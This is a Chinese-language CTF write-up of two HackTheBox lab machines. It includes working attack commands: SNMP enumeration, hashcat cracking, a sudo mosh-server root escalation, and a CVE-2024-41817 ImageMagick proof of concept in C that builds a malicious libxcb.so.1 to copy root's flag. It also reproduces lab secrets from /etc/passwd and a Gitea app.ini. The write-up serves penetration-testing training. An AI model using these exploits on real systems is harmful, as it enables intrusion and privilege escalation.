HTB-UnderPass&Titanic
UnderPass
信息搜集,先扫下端口

访问一下80端口

ubuntu默认界面,没啥用
接着信息搜集,扫下udp端口
namp -sU --min-rate 10000 10.10.11.48

snmp服务开放:SNMP 是一种用于网络设备管理的协议,常用于监控和配置网络设备(如路由器、交换机、服务器等)

我们尝试枚举靶机的 SNMP 信息
snmpwalk -v 2c -c public 10.10.11.48

有个UnDerPass.htb is the only daloradius server in the basin!
翻译:UnDerPass.htb 是整个网络(basin)中唯一的 Daloradius 服务器
显然underrpass就是指我们这个靶机。
DaloRADIUS 是一个基于 Web 的开源 RADIUS(Remote Authentication Dial-In User Service,远程认证拨号用户服务)管理平台,管理RADIUS服务器(例如FreeRADIUS)。简单点理解,就像宝塔一样,用来管理radius服务器。
访问一下daloradius

无权限,但至少说明还是有这个文件的,
dirsearch扫目录发现
http://10.10.11.48/daloradius/docker-compose.yml
下载文件拿到radius的数据库账号密码,但是没啥用,估计就是配环境用到的没设置好导致泄露了。

我们看到这个app等目录下还有文件

继续对app目录扫描(这里我换了个kali自带的字典)

这个operators目录我们访问进去会自动跳转到一个登录页面

试了一下刚刚获得的账号密码发现没用。谷歌搜一下默认用户名密码

利用其登录进去,随便翻翻找到了一个用户信息。按理说这个users listing存放的不应该是靶机的系统用户,而是管理VPN等网络服务的用户。这里应该是出题人故意将系统用户和密码放在这里的。

hash爆破一下密码
hashcat '412DD4759978ACFCC81DEAB01B382403' -m 0 -a 0 /usr/share/wordlists/rockyou.txt

得到密码underwaterfriends
一开始信息收集看到ssh服务开放了,我们ssh登录


成功进入靶机,下面开始提权

试试suid提权发现没什么可利用的,开始sudo提权发现mosh-server
mosh-server 是 Mosh(Mobile Shell)的服务器端程序
Mosh 是一个用于替代 SSH 的远程终端工具,支持断线重连和更好的网络适应性。
我们利用mosh连接到服务器启动mosh-server
mosh --server="sudo /usr/bin/mosh-server" localhost
这里–server=”sudo /usr/bin/mosh-server”是强制让mosh-server端以root权限运行,这样连接后反弹回来的就是root权限了。

渗透思路:
先扫描端口,tcp和udp端口都扫描,发现tcp的22和80端口开放,udp的161端口开放,且运行的snmp服务,枚举靶机的snmp信息,在MIB树中找到了daloradius服务开放,浏览器访问该服务,通过扫描目录发现后台登录页面,默认账号密码登录后获得用户账号密码,连接ssh。然后利用sudo提权。
新知识:
1.snmp:SNMP 是一种用于网络设备管理的协议,常用于监控和配置网络设备(如路由器、交换机、服务器等)SNMP管理模型有四个主要的SNMP组件,包括NMS(网络管理系统)、SNMP代理、MIB(管理信息库)和被管理对象,每个受管设备包括代理访问、MIB 和几个管理对象。
2.radius:RADIUS 本身是一种协议(认证和授权标准),但通常需要一个 RADIUS 服务器(如 FreeRADIUS、Microsoft NPS)来实现其功能。
3.daloradius: 通常用daloRADIUS Web程序管理FreeRADIUS服务器。就像用宝塔管理服务器一样。
4.mosh:基于udp端口的连接工具,所以与ssh比起来连接更稳定更迅速。与ssh和sshd一样。也有客户端(mosh)和服务端(mosh-server),客户端和服务端都可安装在同一台机子上。因为连接到服务端后mosh-server会自动使用命令/usr/bin/server连接到客户端。这里–server就是强制覆盖这个命令,用sudo来启动连接到客户端的。
Titanic
信息搜集,先扫端口:

22和80端口,不能直达,要在/etc/hosts添加

然后打开网址,扫一下目录,没什么发现,再扫一下子域
gobuster vhost -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt --append-domain -u http://titanic.htb/ -t 50
成功发现

还是添加到/etc/hosts中。
目前就发现这两个域名。先看主域名进行渗透

发送这个邮件时抓包看看

看到跳转到了另一个路由,我们访问该路由

看到存在任意文件读取。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
看到系统用户只有developer和root。
root肯定是要提权获取的,developer是我们要获取的普通用户
这里可以直接/home/developer/user.txt拿到用户flag
既然开了ssh服务,我们肯定要拿到用户密码登录进去
访问子域名,是个gitea页面。

页面左上角有个探索,点进去可以看到docker-compose.yml
推测这是原系统用户用docker搭建的gitea页面
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
泄露配置文件路径

结合docker的文件路径。推测配置文件在/home/developer/gitea/data/gitea/conf/app.ini

拿到数据库配置信息
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea
[repository]
ROOT = /data/git/repositories
[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
[repository.upload]
TEMP_PATH = /data/gitea/uploads
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve
[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file
[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars
[attachment]
PATH = /data/gitea/attachments
[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log
[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost
[lfs]
PATH = /data/git/lfs
[mailer]
ENABLED = false
[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true
[cron.update_checker]
ENABLED = false
[repository.pull-request]
DEFAULT_MERGE_STYLE = merge
[repository.signing]
DEFAULT_TRUST_MODEL = committer
[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
看到了数据库文件访问/home/developer/gitea/data/gitea/gitea.db 下载数据库文件,
我们查找用户表

发现了developer用户,和用户密码的哈希,用hashcat爆破一下
这里要自己改下格式:用这个脚本转换一下
https://github.com/BhattJayD/giteatohashcat
转换之后用hashcat爆破

hashcat gitea.txt rockyou.txt --user
得到密码25282528

然后ssh登录即可,user的flag就在本目录。
开始提权。
先看看有没有suid文件可用
find / -perm -4000 2>/dev/null
很尴尬发现没有。
再试一下sudo -l
发现用不了sudo提权。
最后在/opt/script发现了这个shell脚本

执行的内容就是切换到images目录下,清除日志,然后用magick identify提权目录下的jpg图片元数据,并将结果保存到metadata.log日志中。

看这个版本,网上搜一下ImageMagick 7.1.1-35的exploit。第一个就是CVE-2024-41817

这里很明显工作目录就是image那个目录,因为magick是在这个目录下执行的
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /root/root.txt root.txt.bk;chmod 777 root.txt.bk;");
exit(0);
}
EOF
执行后过几秒就有了

渗透思路:
先信息收集扫端口,80和22端口开放,访问网页,发现任意文件读取漏洞。在扫子域名,通过子域名发现数据库配置文件泄露。通过泄露的数据库配置文件拿到账号和密码哈希。hashcat破解密码,然后通过ssh登录靶机。最后通过CVE漏洞提权。
新知识:
gitea:Gitea 是一个轻量级、开源的自助 Git 服务,用于搭建私有或公共的代码托管平台。简单点理解就是缩小版的github,用来放代码的。这个靶机就是在搭建gitea时配置不当泄露了docker配置文件从而泄露了数据库地址。
ImageMagick:ImageMagick 是一个功能强大的开源 图像处理工具库,用于创建、编辑、转换和解析多种格式的图片文件。它支持超过 200 种图像格式(如 JPEG、PNG、GIF、SVG、PDF 等),并可通过命令行或编程接口(如 Python、C++)调用,广泛应用于自动化图像处理、网站开发和数据安全分析等领域。下图为其重要的几个功能

CVE-2024-41817:
漏洞类型: 动态库劫持(DLL Hijacking) → 导致 远程代码执行(RCE)
根本原因: ImageMagick 在加载动态链接库(如 libxcb.so.1)时,未安全限制库文件的搜索路径,允许攻击者通过恶意库文件执行任意代码。
ImageMagick 运行时尝试加载 libxcb.so.1,但未校验库路径的合法性。若当前目录(攻击者可控)存在恶意库,优先加载该库而非系统默认路径
在此题目中,我们利用poc在当前目录创建 libxcb.so.1,
__attribute__((constructor)) 确保库加载时自动执行 init() 函数。
这样sh文件在执行magick时自动加载我们创建的恶意库并执行init函数,从而导致RCE。



